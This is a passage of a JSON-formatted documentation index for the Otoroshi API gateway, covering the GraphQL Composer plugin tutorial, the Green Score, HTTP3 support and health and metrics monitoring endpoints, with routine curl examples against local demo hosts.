\"my-expr-header.token.unknown-fields\": \"not-found\",\n \"my-expr-header.request.unknown-query\": \"default value\",\n \"my-expr-header.service-unknown-group\": \"default\",\n \"my-expr-header.request.unknown-header\": \"default value\",\n \"my-expr-header.apikey.unknown-metadata\": \"default value\",\n \"my-expr-header.ctx.replace-field-value\": \"no-ctx-foo\",\n \"my-expr-header.token.unknown-foo-field\": \"not-found-foob\",\n \"my-expr-header.service-unknown-metadata\": \"default-value\",\n \"my-expr-header.config.unknown-port-field\": \"not-found\",\n \"my-expr-header.token.replace-header-value\": \"no-token-foo\",\n \"my-expr-header.ctx.replace-field-all-value\": \"no-ctx-foo\",\n \"my-expr-header.token.replace-header-all-value\": \"no-token-foo\",\n }\n}\n```\n\nThen try the second call to the webapp. Navigate on your browser to `http://webapp.oto.tools:8080`. Continue with `user@foo.bar` as user and `password` as credential.\n\nThis should output:\n\n```json\n{\n ...\n \"headers\": {\n ...\n \"my-expr-header.user\": \"User Otoroshi\",\n \"my-expr-header.user.email\": \"user@foo.bar\",\n \"my-expr-header.user.metadata\": \"roger\",\n \"my-expr-header.user.profile-field\": \"User Otoroshi\",\n \"my-expr-header.user.unknown-metadata\": \"not-found\",\n \"my-expr-header.user.unknown-profile-field\": \"not-found\",\n }\n}\n```" + }, + { + "name": "graphql-composer.md", + "id": "/topics/graphql-composer.md", + "url": "/topics/graphql-composer.html", + "title": "GraphQL Composer Plugin", + "content": "# GraphQL Composer Plugin\n\n
\nRoute plugins:\nGraphQL Composer\n
\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\n> GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data. GraphQL provides a complete and understandable description of the data in your API, gives clients the power to ask for exactly what they need and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools.\n[Official GraphQL website](https://graphql.org/)\n\nAPIs RESTful and GraphQL development has become one of the most popular activities for companies as well as users in recent times. In fast scaling companies, the multiplication of clients can cause the number of API needs to grow at scale.\n\nOtoroshi comes with a solution to create and meet your customers' needs without constantly creating and recreating APIs: the `GraphQL composer plugin`. The GraphQL Composer is an useful plugin to build an GraphQL API from multiples differents sources. These sources can be REST apis, GraphQL api, raw JSON or WASM binary or anything that supports the HTTP protocol. \n\n@@@ div { .centered-img }\n\n@@@\n\n\n## Tutorial\n\nLet's set up the plugin to align with the specified models:\n\nA user model with attributes for name and password.\nA country model with attributes for name and its associated users.\n\nThe plugin provides custom directives to compose your API. A `directive` decorates part of a GraphQL schema or operation with additional configuration. Directives are preceded by the **@** character, like so:\n\n* @ref:[rest](#directives) : to call a http rest service with dynamic path params\n* @ref:[permission](#directives) : to restrict the access to the sensitive field\n* @ref:[graphql](#directives) : to call a graphQL service by passing a url and the associated query\n\nThe GraphQL schema of our tutorial should look like this\n\n```graphql\ntype Country {\n name: String\n users: [User] @rest(url: \"http://localhost:5000/countries/${item.name}/users\")\n}\n\ntype User {\n name: String\n password: String @password(value: \"ADMIN\")\n}\n\ntype Query {\n users: [User] @rest(url: \"http://localhost:5000/users\", paginate: true)\n user(id: String): User @rest(url: \"http://localhost:5000/users/${params.id}\")\n countries: [Country] @graphql(url: \"https://countries.trevorblades.com\", query: \"{ countries { name }}\", paginate: true)\n}\n```\n\nNow that we've covered the fundamentals of GraphQL Composer, let's proceed with setting it up in our project :\n\n* set up a route containing the GraphQL Composer plugin\n* configure the plugin with the appropriate schema\n* conduct a test to ensure everything is functioning correctly\n\n@@@ div { .centered-img }\n\n@@@\n\n### Setup your environment\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Create our countries API\n\nLet's create the `route` with few informations :\n\n* name: `My countries API`\n* frontend: `countries-api.oto.tools`\n* plugins: `GraphQL composer` plugin\n\nLet's make a request call through the Otoroshi Admin API (with the default apikey), like the example below\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \\\n -d '{\n \"id\": \"countries-api\",\n \"name\": \"My countries API\",\n \"frontend\": {\n \"domains\": [\"countries.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.GraphQLBackend\"\n }\n ]\n}' \\\n -H \"Content-type: application/json\" \\\n -u admin-api-apikey-id:admin-api-apikey-secret\n```\n\n### Configure our countries API \n\nLet's continue our API by updating the configuration of the GraphQL plugin with the initial schema.\n\n```sh\ncurl -X PUT 'http://otoroshi-api.oto.tools:8080/api/routes/countries-api' \\\n -d '{\n \"id\": \"countries-api\",\n \"name\": \"My countries API\",\n \"frontend\": {\n \"domains\": [\n \"countries.oto.tools\"\n ]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.GraphQLBackend\",\n \"config\": {\n \"schema\": \"type Country {\\n name: String\\n users: [User] @rest(url: \\\"http://localhost:8181/countries/${item.name}/users\\\", headers: \\\"{}\\\")\\n}\\n\\ntype Query {\\n users: [User] @rest(url: \\\"http://localhost:8181/users\\\", paginate: true, headers: \\\"{}\\\")\\n user(id: String): User @rest(url: \\\"http://localhost:8181/users/${params.id}\\\")\\n countries: [Country] @graphql(url: \\\"https://countries.trevorblades.com\\\", query: \\\"{ countries { name }}\\\", paginate: true)\\ntype User {\\n name: String\\n password: String }\\n\"\n }\n }\n ]\n}' \\\n -H \"Content-type: application/json\" \\\n -u admin-api-apikey-id:admin-api-apikey-secret\n```\n\nOur created route expects an API, exposed on the localhost:8181, designed to retrieve users based on their countries. \n\nLet's develop this API using NodeJS. The API uses express as http server.\n\n```js\nconst express = require('express')\n\nconst app = express()\n\nconst users = [\n {\n name: 'Joe',\n password: 'password'\n },\n {\n name: 'John',\n password: 'password2'\n }\n]\n\nconst countries = [\n {\n name: 'Andorra',\n users: [users[0]]\n },\n {\n name: 'United Arab Emirates',\n users: [users[1]]\n }\n]\n\napp.get('/users', (_, res) => {\n return res.json(users)\n})\n\napp.get(`/users/:name`, (req, res) => {\n res.json(users.find(u => u.name === req.params.name))\n})\n\napp.get('/countries/:id/users', (req, res) => {\n const country = countries.find(c => c.name === req.params.id)\n\n if (country) \n return res.json(country.users)\n else \n return res.json([])\n})\n\napp.listen(8181, () => {\n console.log(`Listening on 8181`)\n});\n\n```\n\nLet's initiate our first request to the countries API.\n\n```sh\ncurl 'countries.oto.tools:9999/' \\\n--header 'Content-Type: application/json' \\\n--data-binary @- << EOF\n{\n \"query\": \"{\\n countries {\\n name\\n users {\\n name\\n }\\n }\\n}\"\n}\nEOF\n```\n\nYou should see the following content in your terminal.\n\n```json\n{\n \"data\": { \n \"countries\": [\n { \n \"name\":\"Andorra\",\n \"users\": [\n { \"name\":\"Joe\" }\n ]\n }\n ]\n }\n}\n```\n\nThe call graph should looks like\n\n\n1. Initiate a request to https://countries.trevorblades.com\n2. For each country retrieved:\n - extract the `name` field\n - sends a request to http://localhost:8181/countries/${country}/users to retrieve the list of users associated with this country.\n\nYou may have noticed that we appended an argument called `pagniate` to the end of the graphql directive. This argument enables pagination for the client, allowing it to accept parameters such as limit and offset. The plugin utilizes these parameters to filter and streamline the content.\n\nLet's initiate a new call that doesn't specify any country.\n\n```sh\ncurl 'countries.oto.tools:9999/' \\\n--header 'Content-Type: application/json' \\\n--data-binary @- << EOF\n{\n \"query\": \"{\\n countries(limit: 0) {\\n name\\n users {\\n name\\n }\\n }\\n}\"\n}\nEOF\n```\n\nYou should see the following content in your terminal.\n\n```json\n{\n \"data\": { \n \"countries\": []\n }\n}\n```\n\nLet's move on to the next section to secure sensitive field of our API.\n\n### Basics of permissions \n\nThe permission directives have been established to safeguard the fields within the GraphQL schema. The validation process commences by generating a context for all incoming requests, derived from the list of paths specified in the permissions field of the plugin. These permissions paths can reference various components of the request data (such as URL, headers, etc.), user credentials (such as API key, etc.), and details regarding the matched route. Subsequently, the process verifies that the specified value or values are present within the context.\n\n@@@div { .simple-block }\n\n
\nPermission\n\n
\n\n*Arguments : value and unauthorized_value*\n\nThe permission directive is designed to to secure a field on **one** value. The directive checks that a specific value is present in the `context`.\n\nTwo arguments are available : `value` which is mandatory and specifies the expected value. Optionally, `unauthorized_value`, which can be utilized to indicate the rejection message in the outgoing response.\n\n**Example**\n```js\ntype User {\n id: String @permission(\n value: \"FOO\", \n unauthorized_value: \"You're not authorized to get this field\")\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nAll permissions\n\n
\n\n*Arguments : values and unauthorized_value*\n\nThis directive is presumably the same as the previous one except that it takes a list of values.\n\n**Example**\n```js\ntype User {\n id: String @allpermissions(\n values: [\"FOO\", \"BAR\"], \n unauthorized_value: \"FOO and BAR could not be found\")\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nOne permissions of\n\n
\n*Arguments : values and unauthorized_value*\n\nThis directive takes a list of values and validate that one of them is in the context.\n\n**Example**\n```js\ntype User {\n id: String @onePermissionsOf(\n values: [\"FOO\", \"BAR\"], \n unauthorized_value: \"FOO or BAR could not be found\")\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nAuthorize\n\n
\n\n*Arguments : path, value and unauthorized_value*\n\nThe authorize directive has one more required argument, named `path`, which indicates the path to value, in the context. Unlike the last three directives, the authorize directive doesn't search in the entire context but at the specified path.\n\n**Example**\n```js\ntype User {\n id: String @authorize(\n path: \"$.raw_request.headers.foo\", \n value: \"BAR\", \n unauthorized_value: \"Bar could not be found in the foo header\")\n}\n```\n@@@\n\nLet's restrict the password field to the users that comes with a `role` header of the value `ADMIN`.\n\n1. Patch the configuration of the API by adding the permissions in the configuration of the plugin.\n```json\n...\n \"permissions\": [\"$.raw_request.headers.role\"]\n...\n```\n\n1. Add an directive on the password field in the schema\n```graphql\ntype User {\n name: String\n password: String @permission(value: \"ADMIN\")\n}\n```\n\nLet's make a call with the role header\n\n```sh\ncurl 'countries.oto.tools:9999/' \\\n--header 'Content-Type: application/json' \\\n--header 'role: ADMIN'\n--data-binary @- << EOF\n{\n \"query\": \"{\\n countries(limit: 0) {\\n name\\n users {\\n name\\n password\\n }\\n }\\n}\"\n}\nEOF\n```\n\nNow try to change the value of the role header\n\n```sh\ncurl 'countries.oto.tools:9999/' \\\n--header 'Content-Type: application/json' \\\n--header 'role: USER'\n--data-binary @- << EOF\n{\n \"query\": \"{\\n countries(limit: 0) {\\n name\\n users {\\n name\\n password\\n }\\n }\\n}\"\n}\nEOF\n```\n\nThe error message should look like \n\n```json\n{\n \"errors\": [\n {\n \"message\": \"You're not authorized\",\n \"path\": [\n \"countries\",\n 0,\n \"users\",\n 0,\n \"password\"\n ],\n ...\n }\n ]\n}\n```\n\n\n# Glossary\n\n## Directives\n\n@@@div { .simple-block }\n\n
\nRest\n\n
\n\n*Arguments : url, method, headers, timeout, data, response_path, response_filter, limit, offset, paginate*\n\nThe rest directive is used to expose servers that communicate using the http protocol. The only required argument is the `url`.\n\n**Example**\n```js\ntype Query {\n users(limit: Int, offset: Int): [User] @rest(url: \"http://foo.oto.tools/users\", method: \"GET\")\n}\n```\n\nIt can be placed on the field of a query and type. To custom your url queries, you can use the path parameter and another field with respectively, `params` and `item` variables.\n\n**Example**\n```js\ntype Country {\n name: String\n phone: String\n users: [User] @rest(url: \"http://foo.oto.tools/users/${item.name}\")\n}\n\ntype Query {\n user(id: String): User @rest(url: \"http://foo.oto.tools/users/${params.id}\")\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nGraphQL\n\n
\n\n*Arguments : url, method, headers, timeout, query, data, response_path, response_filter, limit, offset, paginate*\n\nThe rest directive is used to call an other graphql server.\n\nThe required argument are the `url` and the `query`.\n\n**Example**\n```js\ntype Query {\n countries: [Country] @graphql(url: \"https://countries.trevorblades.com/\", query: \"{ countries { name phone }}\")\n}\n\ntype Country {\n name: String\n phone: String\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nSoap\n\n
\n*Arguments: all following arguments*\n\nThe soap directive is used to call a soap service. \n\n```js\ntype Query {\n randomNumber: String @soap(\n jq_response_filter: \".[\\\"soap:Envelope\\\"] | .[\\\"soap:Body\\\"] | .[\\\"m:NumberToWordsResponse\\\"] | .[\\\"m:NumberToWordsResult\\\"]\", \n url: \"https://www.dataaccess.com/webservicesserver/numberconversion.wso\", \n envelope: \" \\n \\n \\n \\n 12 \\n \\n \\n\")\n}\n```\n\n\n##### Specific arguments\n\n| Argument | Type | Optional | Default value |\n| --------------------------- | --------- | -------- | ------------- |\n| envelope | *STRING* | Required | |\n| url | *STRING* | x | |\n| action | *STRING* | x | |\n| preserve_query | *BOOLEAN* | Required | true |\n| charset | *STRING* | x | |\n| convert_request_body_to_xml | *BOOLEAN* | Required | true |\n| jq_request_filter | *STRING* | x | |\n| jq_response_filter | *STRING* | x | |\n\n@@@\n\n@@@div { .simple-block }\n\n
\nJSON\n\n
\n*Arguments: path, json, paginate*\n\nThe json directive can be used to expose static data or mocked data. The first usage is to defined a raw stringify JSON in the `data` argument. The second usage is to set data in the predefined field of the GraphQL plugin composer and to specify a path in the `path` argument.\n\n**Example**\n```js\ntype Query {\n users_from_raw_data: [User] @json(data: \"[{\\\"firstname\\\":\\\"Foo\\\",\\\"name\\\":\\\"Bar\\\"}]\")\n users_from_predefined_data: [User] @json(path: \"users\")\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nMock\n\n
\n*Arguments: url*\n\nThe mock directive is to used with the Mock Responses Plugin, also named `Charlatan`. This directive can be interesting to mock your schema and start to use your Otoroshi route before starting to develop the underlying service.\n\n**Example**\n```js\ntype Query {\n users: @mock(url: \"/users\")\n}\n```\n\nThis example supposes that the Mock Responses plugin is set on the route's feed, and that an endpoint `/users` is available.\n\n@@@\n\n### List of directive arguments\n\n| Argument | Type | Optional | Default value |\n| ------------------ | ---------------- | --------------------------- | ------------- |\n| url | *STRING* | | |\n| method | *STRING* | x | GET |\n| headers | *STRING* | x | |\n| timeout | *INT* | x | 5000 |\n| data | *STRING* | x | |\n| path | *STRING* | x (only for json directive) | |\n| query | *STRING* | x | |\n| response_path | *STRING* | x | |\n| response_filter | *STRING* | x | |\n| limit | *INT* | x | |\n| offset | *INT* | x | |\n| value | *STRING* | | |\n| values | LIST of *STRING* | |\n| path | *STRING* | | |\n| paginate | *BOOLEAN* | x | |\n| unauthorized_value | *STRING* | x (only for permissions directive) | |\n" + }, + { + "name": "green-score.md", + "id": "/topics/green-score.md", + "url": "/topics/green-score.html", + "title": "Green Score", + "content": "# Green Score\n\nThe Green Score provide aggregated, quantitative data about the performance and behavior of an API over time. It is an aggregation of static and dynamic values that are coming from the usage of routes in Otoroshi. The main objective is to advise users on the consumption of their APIs and services.\n\n\n\nOtoroshi has a complete integration of the collective rules, divided into four concerns: **Architecture**, **Design**, **Usage** and **Logs retention**. The 6000 score points are spread over the four parts and a final note is given for each group of routes.\n\nThe API green score is available on 16.9.0 or later version of Otoroshi. You can find the feature on the search bar of your Otoroshi UI or directly in the sidebar by clicking on **Green score**.\n\nTo start the process, click on Add New Group, give a name and select a first route to audit. After clicking on the hammer icon, you can select the rules respected by your route. Before saving, you can adjust the values used to calculate the dynamic score. These thresholds are used to calculate a second green score depending on the amount of data you want not to exceed from your downstream service and the following other values: \n\n* **Overhead**: Otoroshi's calculation time to handle the request and response\n* **Duration**: the complete duration from the recpetion of the request by Otoroshi until the client gets a response\n* **Backend duration**: the time required for downstream service to respond to Otoroshi\n* **Calls**: the rate of calls by seconds\n* **Data in**: the amount of data received by the downstream service\n* **Data out**: the amount of data produced by the downstream service\n* **Headers in**: the amount of headers received by the downstream service\n* **Headers out**: the amount of headers produced by the downstream service\n\nThe Green Score works for all architectures, including simple leader or more advanced concept like [clustering](https://maif.github.io/otoroshi/manual/deploy/clustering.html)." + }, + { + "name": "http3.md", + "id": "/topics/http3.md", + "url": "/topics/http3.html", + "title": "HTTP3 support", + "content": "# HTTP3 support\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\nHTTP3 server and client previews are available in otoroshi since version 1.5.14\n\n\n## Server\n\nto enable http3 server preview, you need to enable the following flags\n\n```conf\notoroshi.next.experimental.netty-server.enabled = true\notoroshi.next.experimental.netty-server.http3.enabled = true\notoroshi.next.experimental.netty-server.http3.port = 10048\n```\n\nthen you will be able to send HTTP3 request on port 10048. For instance, using [quiche-client](https://github.com/cloudflare/quiche)\n\n```sh\ncargo run --bin quiche-client -- --no-verify 'https://my-service.oto.tools:10048'\n```\n\n## Client\n\nto consume services exposed with HTTP3, just select the `HTTP/3.0` protocol in the backend target." + }, + { + "name": "index.md", + "id": "/topics/index.md", + "url": "/topics/index.html", + "title": "Detailed topics", + "content": "# Detailed topics\n\nIn this sections, you will find informations about various Otoroshi topics \n\n* @ref:[Proxy engine](./engine.md)\n* @ref:[WASM support](./wasm-usage.md)\n* @ref:[Chaos engineering](./chaos-engineering.md)\n* @ref:[TLS](./tls.md)\n* @ref:[Otoroshi's PKI](./pki.md)\n* @ref:[Monitoring](./monitoring.md)\n* @ref:[Events and analytics](./events-and-analytics.md)\n* @ref:[Developer portal with Daikoku](./dev-portal.md)\n* @ref:[Sessions management](./sessions-mgmt.md)\n* @ref:[The Otoroshi communication protocol](./otoroshi-protocol.md)\n* @ref:[Expression language](./expression-language.md)\n* @ref:[Otoroshi user rights](./user-rights.md)\n* @ref:[GraphQL composer](./graphql-composer.md)\n* @ref:[Secret vaults](./secrets.md)\n* @ref:[Otoroshi tunnels](./tunnels.md)\n* @ref:[Relay routing](./relay-routing.md)\n* @ref:[Alternative http backend](./netty-server.md)\n* @ref:[HTTP3 support](./http3.md)\n* @ref:[Anonymous reporting](./anonymous-reporting.md)\n* @ref:[OpenTelemetry support](./opentelemetry.md)\n* @ref:[Green score](./green-score.md)\n\n@@@ index\n\n* [Proxy engine](./engine.md)\n* [WASM support](./wasm-usage.md)\n* [Chaos engineering](./chaos-engineering.md)\n* [TLS](./tls.md)\n* [Otoroshi's PKI](./pki.md)\n* [Monitoring](./monitoring.md)\n* [Events and analytics](./events-and-analytics.md)\n* [Developer portal with Daikoku](./dev-portal.md)\n* [Sessions management](./sessions-mgmt.md)\n* [The Otoroshi communication protocol](./otoroshi-protocol.md)\n* [Expression language](./expression-language.md)\n* [Otoroshi user rights](./user-rights.md)\n* [GraphQL composer](./graphql-composer.md)\n* [Secret vaults](./secrets.md)\n* [Otoroshi tunnels](./tunnels.md)\n* [Relay routing](./relay-routing.md)\n* [Alternative http backend](./netty-server.md)\n* [HTTP3 support](./http3.md)\n* [Anonymous reporting](./anonymous-reporting.md)\n* [OpenTelemetry support](./opentelemetry.md)\n* [Green score](./green-score.md)\n \n@@@\n" + }, + { + "name": "monitoring.md", + "id": "/topics/monitoring.md", + "url": "/topics/monitoring.html", + "title": "Monitoring", + "content": "# Monitoring\n\nThe Otoroshi API exposes two endpoints to know more about instance health. All the following endpoint are exposed on the instance host through it's ip address. It is also exposed on the otoroshi api hostname and the otoroshi backoffice hostname\n\n* `/health`: the health of the Otoroshi instance\n* `/metrics`: the metrics of the Otoroshi instance, either in JSON or Prometheus format using the `Accept` header (with `application/json` / `application/prometheus` values) or the `format` query param (with `json` or `prometheus` values)\n* `/live`: returns an http 200 response `{\"live\": true}` when the service is alive\n* `/ready`: return an http 200 response `{\"ready\": true}` when the instance is ready to accept traffic (certs synced, plugins compiled, etc). if not, returns http 503 `{\"ready\": false}`\n* `/startup`: return an http 200 response `{\"started\": true}` when the instance is ready to accept traffic (certs synced, plugins compiled, etc). if not, returns http 503 `{\"started\": false}`\n\nthose routes are also available on any hostname leading to otoroshi with a twist in the URL\n\n* http://xxxxxxxx.xxxxx.xx/.well-known/otoroshi/monitoring/health\n* http://xxxxxxxx.xxxxx.xx/.well-known/otoroshi/monitoring/metrics\n* http://xxxxxxxx.xxxxx.xx/.well-known/otoroshi/monitoring/live\n* http://xxxxxxxx.xxxxx.xx/.well-known/otoroshi/monitoring/ready\n* http://xxxxxxxx.xxxxx.xx/.well-known/otoroshi/monitoring/startup\n\n## Endpoints security\n\nThe two endpoints are exposed publicly on the Otoroshi admin api. But you can remove the corresponding public pattern and query the endpoints using standard apikeys. If you don't want to use apikeys but don't want to expose the endpoints publicly, you can defined two config. variables (`otoroshi.health.accessKey` or `HEALTH_ACCESS_KEY` and `otoroshi.metrics.accessKey` or `OTOROSHI_METRICS_ACCESS_KEY`) that will hold an access key for the endpoints. Then you can call the endpoints with an `access_key` query param with the value defined in the config. If you don't defined `otoroshi.metrics.accessKey` but define `otoroshi.health.accessKey`, `otoroshi.metrics.accessKey` will have the value of `otoroshi.health.accessKey`.\n \n## Examples\n\nlet say `otoroshi.health.accessKey` has value `MILpkVv6f2kG9Xmnc4mFIYRU4rTxHVGkxvB0hkQLZwEaZgE2hgbOXiRsN1DBnbtY`\n\n```sh\n$ curl http://otoroshi-api.oto.tools:8080/health\\?access_key\\=MILpkVv6f2kG9Xmnc4mFIYRU4rTxHVGkxvB0hkQLZwEaZgE2hgbOXiRsN1DBnbtY\n{\"otoroshi\":\"healthy\",\"datastore\":\"healthy\"}\n\n$ curl -H 'Accept: application/json' http://otoroshi-api.oto.tools:8080/metrics\\?access_key\\=MILpkVv6f2kG9Xmnc4mFIYRU4rTxHVGkxvB0hkQLZwEaZgE2hgbOXiRsN1DBnbtY\n{\"version\":\"4.0.0\",\"gauges\":{\"attr.app.commit\":{\"value\":\"xxxx\"},\"attr.app.id\":{\"value\":\"xxxx\"},\"attr.cluster.mode\":{\"value\":\"Leader\"},\"attr.cluster.name\":{\"value\":\"otoroshi-leader-0\"},\"attr.instance.env\":{\"value\":\"prod\"},\"attr.instance.id\":{\"value\":\"xxxx\"},\"attr.instance.number\":{\"value\":\"0\"},\"attr.jvm.cpu.usage\":{\"value\":136},\"attr.jvm.heap.size\":{\"value\":1409},\"attr.jvm.heap.used\":{\"value\":112},\"internals.0.concurrent-requests\":{\"value\":1},\"internals.global.throttling-quotas\":{\"value\":2},\"jvm.attr.name\":{\"value\":\"2085@xxxx\"},\"jvm.attr.uptime\":{\"value\":2296900},\"jvm.attr.vendor\":{\"value\":\"JDK11\"},\"jvm.gc.PS-MarkSweep.count\":{\"value\":3},\"jvm.gc.PS-MarkSweep.time\":{\"value\":261},\"jvm.gc.PS-Scavenge.count\":{\"value\":12},\"jvm.gc.PS-Scavenge.time\":{\"value\":161},\"jvm.memory.heap.committed\":{\"value\":1477967872},\"jvm.memory.heap.init\":{\"value\":1690304512},\"jvm.memory.heap.max\":{\"value\":3005218816},\"jvm.memory.heap.usage\":{\"value\":0.03916456777568639},\"jvm.memory.heap.used\":{\"value\":117698096},\"jvm.memory.non-heap.committed\":{\"value\":166445056},\"jvm.memory.non-heap.init\":{\"value\":7667712},\"jvm.memory.non-heap.max\":{\"value\":994050048},\"jvm.memory.non-heap.usage\":{\"value\":0.1523920694986979},\"jvm.memory.non-heap.used\":{\"value\":151485344},\"jvm.memory.pools.CodeHeap-'non-nmethods'.committed\":{\"value\":2555904},\"jvm.memory.pools.CodeHeap-'non-nmethods'.init\":{\"value\":2555904},\"jvm.memory.pools.CodeHeap-'non-nmethods'.max\":{\"value\":5832704},\"jvm.memory.pools.CodeHeap-'non-nmethods'.usage\":{\"value\":0.28408093398876405},\"jvm.memory.pools.CodeHeap-'non-nmethods'.used\":{\"value\":1656960},\"jvm.memory.pools.CodeHeap-'non-profiled-nmethods'.committed\":{\"value\":11796480},\"jvm.memory.pools.CodeHeap-'non-profiled-nmethods'.init\":{\"value\":2555904},\"jvm.memory.pools.CodeHeap-'non-profiled-nmethods'.max\":{\"value\":122912768},\"jvm.memory.pools.CodeHeap-'non-profiled-nmethods'.usage\":{\"value\":0.09536102872567315},\"jvm.memory.pools.CodeHeap-'non-profiled-nmethods'.used\":{\"value\":11721088},\"jvm.memory.pools.CodeHeap-'profiled-nmethods'.committed\":{\"value\":37355520},\"jvm.memory.pools.CodeHeap-'profiled-nmethods'.init\":{\"value\":2555904},\"jvm.memory.pools.CodeHeap-'profiled-nmethods'.max\":{\"value\":122912768},\"jvm.memory.pools.CodeHeap-'profiled-nmethods'.usage\":{\"value\":0.2538573047187417},\"jvm.memory.pools.CodeHeap-'profiled-nmethods'.used\":{\"value\":31202304},\"jvm.memory.pools.Compressed-Class-Space.committed\":{\"value\":14942208},\"jvm.memory.pools.Compressed-Class-Space.init\":{\"value\":0},\"jvm.memory.pools.Compressed-Class-Space.max\":{\"value\":367001600},\"jvm.memory.pools.Compressed-Class-Space.usage\":{\"value\":0.033858838762555805},\"jvm.memory.pools.Compressed-Class-Space.used\":{\"value\":12426248},\"jvm.memory.pools.Metaspace.committed\":{\"value\":99794944},\"jvm.memory.pools.Metaspace.init\":{\"value\":0},\"jvm.memory.pools.Metaspace.max\":{\"value\":375390208},\"jvm.memory.pools.Metaspace.usage\":{\"value\":0.25168142904782426},\"jvm.memory.pools.Metaspace.used\":{\"value\":94478744},\"jvm.memory.pools.PS-Eden-Space.committed\":{\"value\":349700096},\"jvm.memory.pools.PS-Eden-Space.init\":{\"value\":422576128},\"jvm.memory.pools.PS-Eden-Space.max\":{\"value\":1110966272},\"jvm.memory.pools.PS-Eden-Space.usage\":{\"value\":0.07505125052077188},\"jvm.memory.pools.PS-Eden-Space.used\":{\"value\":83379408},\"jvm.memory.pools.PS-Eden-Space.used-after-gc\":{\"value\":0},\"jvm.memory.pools.PS-Old-Gen.committed\":{\"value\":1127219200},\"jvm.memory.pools.PS-Old-Gen.init\":{\"value\":1127219200},\"jvm.memory.pools.PS-Old-Gen.max\":{\"value\":2253914112},\"jvm.memory.pools.PS-Old-Gen.usage\":{\"value\":0.014950035505168354},\"jvm.memory.pools.PS-Old-Gen.used\":{\"value\":33696096},\"jvm.memory.pools.PS-Old-Gen.used-after-gc\":{\"value\":23791152},\"jvm.memory.pools.PS-Survivor-Space.committed\":{\"value\":1048576},\"jvm.memory.pools.PS-Survivor-Space.init\":{\"value\":70254592},\"jvm.memory.pools.PS-Survivor-Space.max\":{\"value\":1048576},\"jvm.memory.pools.PS-Survivor-Space.usage\":{\"value\":0.59375},\"jvm.memory.pools.PS-Survivor-Space.used\":{\"value\":622592},\"jvm.memory.pools.PS-Survivor-Space.used-after-gc\":{\"value\":622592},\"jvm.memory.total.committed\":{\"value\":1644412928},\"jvm.memory.total.init\":{\"value\":1697972224},\"jvm.memory.total.max\":{\"value\":3999268864},\"jvm.memory.total.used\":{\"value\":269184904},\"jvm.thread.blocked.count\":{\"value\":0},\"jvm.thread.count\":{\"value\":82},\"jvm.thread.daemon.count\":{\"value\":11},\"jvm.thread.deadlock.count\":{\"value\":0},\"jvm.thread.deadlocks\":{\"value\":[]},\"jvm.thread.new.count\":{\"value\":0},\"jvm.thread.runnable.count\":{\"value\":25},\"jvm.thread.terminated.count\":{\"value\":0},\"jvm.thread.timed_waiting.count\":{\"value\":10},\"jvm.thread.waiting.count\":{\"value\":47}},\"counters\":{},\"histograms\":{},\"meters\":{},\"timers\":{}}\n\n$ curl -H 'Accept: application/prometheus' http://otoroshi-api.oto.tools:8080/metrics\\?access_key\\=MILpkVv6f2kG9Xmnc4mFIYRU4rTxHVGkxvB0hkQLZwEaZgE2hgbOXiRsN1DBnbtY\n# TYPE attr_jvm_cpu_usage gauge\nattr_jvm_cpu_usage 83.0\n# TYPE attr_jvm_heap_size gauge\nattr_jvm_heap_size 1409.0\n# TYPE attr_jvm_heap_used gauge\nattr_jvm_heap_used 220.0\n# TYPE internals_0_concurrent_requests gauge\ninternals_0_concurrent_requests 1.0\n# TYPE internals_global_throttling_quotas gauge\ninternals_global_throttling_quotas 3.0\n# TYPE jvm_attr_uptime gauge\njvm_attr_uptime 2372614.0\n# TYPE jvm_gc_PS_MarkSweep_count gauge\njvm_gc_PS_MarkSweep_count 3.0\n# TYPE jvm_gc_PS_MarkSweep_time gauge\njvm_gc_PS_MarkSweep_time 261.0\n# TYPE jvm_gc_PS_Scavenge_count gauge\njvm_gc_PS_Scavenge_count 12.0\n# TYPE jvm_gc_PS_Scavenge_time gauge\njvm_gc_PS_Scavenge_time 161.0\n# TYPE jvm_memory_heap_committed gauge\njvm_memory_heap_committed 1.477967872E9\n# TYPE jvm_memory_heap_init gauge\njvm_memory_heap_init 1.690304512E9\n# TYPE jvm_memory_heap_max gauge\njvm_memory_heap_max 3.005218816E9\n# TYPE jvm_memory_heap_usage gauge\njvm_memory_heap_usage 0.07680553268571043\n# TYPE jvm_memory_heap_used gauge\njvm_memory_heap_used 2.30817432E8\n# TYPE jvm_memory_non_heap_committed gauge\njvm_memory_non_heap_committed 1.66510592E8\n# TYPE jvm_memory_non_heap_init gauge\njvm_memory_non_heap_init 7667712.0\n# TYPE jvm_memory_non_heap_max gauge\njvm_memory_non_heap_max 9.94050048E8\n# TYPE jvm_memory_non_heap_usage gauge\njvm_memory_non_heap_usage 0.15262878997416435\n# TYPE jvm_memory_non_heap_used gauge\njvm_memory_non_heap_used 1.51720656E8\n# TYPE jvm_memory_pools_CodeHeap__non_nmethods__committed gauge\njvm_memory_pools_CodeHeap__non_nmethods__committed 2555904.0\n# TYPE jvm_memory_pools_CodeHeap__non_nmethods__init gauge\njvm_memory_pools_CodeHeap__non_nmethods__init 2555904.0\n# TYPE jvm_memory_pools_CodeHeap__non_nmethods__max gauge\njvm_memory_pools_CodeHeap__non_nmethods__max 5832704.0\n# TYPE jvm_memory_pools_CodeHeap__non_nmethods__usage 